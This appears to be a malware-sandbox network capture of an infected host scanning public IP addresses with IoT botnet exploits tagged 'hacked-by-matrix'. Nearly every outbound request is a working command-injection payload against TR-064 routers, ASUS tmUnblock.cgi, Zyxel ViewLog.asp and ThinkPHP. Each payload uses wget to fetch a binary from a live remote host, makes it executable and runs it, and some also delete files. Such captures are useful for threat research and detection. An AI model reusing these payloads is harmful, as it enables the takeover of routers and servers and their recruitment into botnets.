Mar 2, 2024 12:38:51.416939020 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.23	38656	71.36.126.120	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.072726011 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:43.011053085 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:43.179992914 CET	113	IN	HTTP/1.1 400 Bad Request Date: Sat 2 Mar 2024 11:37:43 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.23	32784	184.94.138.125	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.074111938 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:43.102519989 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.23	60196	213.188.194.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.123255014 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:42.233114958 CET	350	IN	HTTP/1.1 404 Not Found content-type: text/plain; charset=utf-8 content-encoding: gzip date: Sat, 02 Mar 2024 11:37:42 GMT connection: keep-alive keep-alive: timeout=5 transfer-encoding: chunked server: Fly/8f449382 (2024-03-01) via: 1.1 fly.io fly-request-id: 01HQZF990QA4G92H42TY0SZM37-lga Data Raw: 31 44 0d 0a 1f 8b 08 00 00 00 00 00 04 ff f3 cb 2f 51 70 cb 2f cd 4b 01 00 4d 8c 74 b1 09 00 00 00 0d 0a Data Ascii: 1D/Qp/KMt
Mar 2, 2024 12:37:42.233133078 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Mar 2, 2024 12:37:42.233149052 CET	96	IN	HTTP/1.1 400 Bad Request content-length: 0 date: Sat, 02 Mar 2024 11:37:42 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.23	33888	211.33.201.108	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.173633099 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.23	34096	211.33.201.108	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.457211018 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.23	47072	172.65.243.21	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:43.192866087 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.23	45982	172.67.174.92	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:43.192898989 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:43.469046116 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.23	53808	88.84.31.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:43.453094959 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:43.648885012 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.23	35470	206.233.237.72	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:43.529104948 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:43.832598925 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:37:43 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:37:43.832631111 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.23	48596	200.88.165.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:43.676868916 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:43.830144882 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 2, 2024 12:37:43.830719948 CET	1286	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 2, 2024 12:37:43.830739021 CET	1286	IN	Data Raw: 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 Data Ascii: ) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsh
Mar 2, 2024 12:37:43.831238985 CET	859	IN	Data Raw: 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.23	59478	82.66.225.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:43.721013069 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:44.734293938 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.23	45852	80.210.114.26	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:44.426765919 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:44.632939100 CET	914	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:37:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 37 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:37:44 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.23	56858	213.118.50.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:44.426805973 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:44.628601074 CET	359	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 02 Mar 2024 11:37:44 GMT Content-Type: text/html Content-Length: 138 Location: http://127.0.0.1/ Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>
